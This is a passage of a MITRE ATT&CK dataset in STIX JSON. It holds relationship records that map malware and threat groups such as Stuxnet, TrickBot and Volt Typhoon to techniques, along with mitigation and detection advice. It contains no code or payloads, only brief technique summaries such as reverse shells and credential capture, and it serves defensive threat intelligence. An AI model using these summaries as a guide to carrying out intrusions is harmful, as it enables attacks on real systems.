2021)","modified":"2022-04-12T16:04:54.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce0e6abe-ebdb-45f4-a403-261587e0fa0f","type":"relationship","created":"2021-10-07T21:28:23.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:23:16.051Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) uses the ssh launchdaemon to elevate privileges, bypass system controls, and enable remote access to the victim.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce0ff9c3-1e41-4103-8e2d-985d6993d08a","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor newly constructed .manifest and .local redirection files that do not correlate with software updates.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce16e7b4-b78e-4587-bf65-8a0c0c370cc4","type":"relationship","created":"2020-03-10T18:23:06.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-22T17:29:46.558Z","description":"Ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ce1bc121-5337-4be7-b363-f94a22ca10dc","created":"2023-05-16T19:38:59.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-16T19:39:27.618Z","description":"[ANDROMEDA](https://attack.mitre.org/software/S1074) has been spread via infected USB keys.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--dcd9548e-df9e-47c2-81f3-bc084289959d","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ce1c1257-f244-4844-8aa5-16992430f9ef","created":"2020-12-29T16:20:59.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:10:46.753Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) collects the time and date of a system when it is infected.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ce26fb61-137e-489c-8c69-d2ac5a9f59ce","created":"2022-02-01T15:08:45.248Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can enumerate Azure AD users.(Citation: AADInternals Documentation)","modified":"2022-04-13T14:22:52.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ce2b3395-efd0-4ac8-9c52-69a571b66609","created":"2024-05-21T19:06:29.351Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T19:06:29.351Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has downloaded an outdated version of comsvcs.dll to a compromised domain controller in a non-standard folder.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce2f8c4d-43f0-459e-a579-1faf28e4bca6","type":"relationship","created":"2020-02-20T17:27:40.299Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-06T12:31:06.875Z","description":"Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce378e64-5802-4751-8b8e-d7bf68ce4c6a","type":"relationship","created":"2019-01-29T17:59:44.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.185Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) can hook GetClipboardData function to watch for clipboard pastes to collect.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce39c6b0-7fb5-4afe-8430-cdeb62ae92ac","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for changes in the status of the system firewall such as Windows Security Auditing events 5025 (The Windows firewall service has been stopped) and 5034 (The Windows firewall driver was stopped).","source_ref":"x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce39dc03-c3aa-4c6b-9edb-c05c3b934cbd","type":"relationship","created":"2020-03-11T14:43:31.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-11T14:43:31.829Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce424541-5cfa-4885-ad62-f3f70fa27099","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}],"modified":"2020-03-19T22:00:22.398Z","description":"[TDTESS](https://attack.mitre.org/software/S0164) provides a reverse shell on the victim.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce4321e0-09e0-4e3a-b673-8a6e9248e720","type":"relationship","created":"2019-08-26T13:09:57.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","source_name":"ESET TeleBots Oct 2018"}],"modified":"2020-03-16T23:50:46.732Z","description":"[Exaramel for Windows](https://attack.mitre.org/software/S0343) specifies a path to store files scheduled for exfiltration.(Citation: ESET TeleBots Oct 2018) ","relationship_type":"uses","source_ref":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ce43264e-ab32-45a7-898f-0320c477c581","created":"2022-04-13T16:53:56.131Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes KONNI Evolves Jan 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/konni-evolves-into-stealthier-rat/","description":"Santos, R. (2022, January 26). KONNI evolves into stealthier RAT. Retrieved April 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has used AES to encrypt C2 traffic.(Citation: Malwarebytes KONNI Evolves Jan 2022)","modified":"2022-04-13T16:53:56.131Z","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce44b002-2ef5-4740-a39e-1e58c2817955","type":"relationship","created":"2019-03-12T17:42:01.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Trickbot Feb 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/","description":"Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."}],"modified":"2019-06-24T19:15:06.918Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has the ability to capture RDP credentials by capturing the CredEnumerateA API(Citation: TrendMicro Trickbot Feb 2019) ","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce459961-3a5a-45f9-b8a4-646e9b475e19","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2020-03-28T21:47:05.721Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) creates a scheduled task to run itself every three minutes.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ce460e6d-9c29-4b1d-8a46-e4af52c9805c","created":"2024-09-26T17:02:10.590Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-26T17:02:10.590Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f4c3f644-ab33-433d-8648-75cc03a95792","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce4707f0-d5b8-4dd6-b5ab-cf1483dd236f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto DNS Requests","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"modified":"2020-03-17T02:10:14.681Z","description":"[Pisloader](https://attack.mitre.org/software/S0124) has a command to upload a file to the victim machine.(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce4756bd-122b-4bdd-9597-25d75f930583","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor executed commands and arguments for actions that will aid in compression or encrypting data that is collected prior to exfiltration, such as tar. ","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce47df8d-02dc-4380-90f8-282e009ef0fe","type":"relationship","created":"2020-01-23T19:42:16.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:55:48.964Z","description":"Regsvcs and Regasm may not be necessary within a given environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce48fd88-9fed-44d6-864f-07d8994c89d2","type":"relationship","created":"2020-05-06T21:31:07.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.582Z","description":"[Okrum](https://attack.mitre.org/software/S0439) was seen using NetSess to discover NetBIOS sessions.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce4bf5bc-4935-429b-843e-3232fb810e90","type":"relationship","created":"2019-01-30T13:53:14.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-16T16:52:57.295Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) has a module to harvest pressed keystrokes.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce4c8a4a-793f-48ba-b194-312e54f378d0","type":"relationship","created":"2022-03-29T17:14:26.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-29T17:14:26.601Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can use `cmd.exe` to enable lateral movement using DCOM.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce560fcf-cd2d-45c6-9331-f5f0594e5bf5","type":"relationship","created":"2019-01-29T19:55:48.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-26T16:10:43.197Z","description":"[Epic](https://attack.mitre.org/software/S0091) uses the nbtstat -n and nbtstat -s commands on the victim’s machine.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ce59452d-d258-435f-aa91-329de56eba8e","created":"2021-03-15T15:39:50.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Turla Penquin December 2014","description":"Baumgartner, K. and Raiu, C. (2014, December 8). The ‘Penquin’ Turla. Retrieved March 11, 2021.","url":"https://securelist.com/the-penquin-turla-2/67962/"},{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.146Z","description":"The [Penquin](https://attack.mitre.org/software/S0587) C2 mechanism is based on TCP and UDP packets.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ce5e362a-3403-4d91-b362-cc5314b84a95","created":"2023-09-05T17:43:57.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"},{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.644Z","description":"(Citation: Bitdefender Sardonic Aug 2021)(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce647878-e4d9-4472-9777-b731edbd3d9a","type":"relationship","created":"2020-12-17T02:27:05.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-12T14:26:52.561Z","description":"Configure browsers/applications to regularly delete persistent web credentials (such as cookies).","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce64ed04-f0ff-4897-b636-3177c9c5d9bb","type":"relationship","created":"2021-01-20T21:03:13.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."},{"source_name":"Secureworks IRON VIKING ","url":"https://www.secureworks.com/research/threat-profiles/iron-viking","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020."}],"modified":"2022-02-28T17:02:50.467Z","description":"(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Secureworks IRON VIKING )","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ce67a5bb-66a8-4926-ae72-64ef08040770","created":"2022-06-27T15:54:33.532Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"The [IceApple](https://attack.mitre.org/software/S1022) Directory Lister module can list information about files and directories including creation time, last write time, name, and size.(Citation: CrowdStrike IceApple May 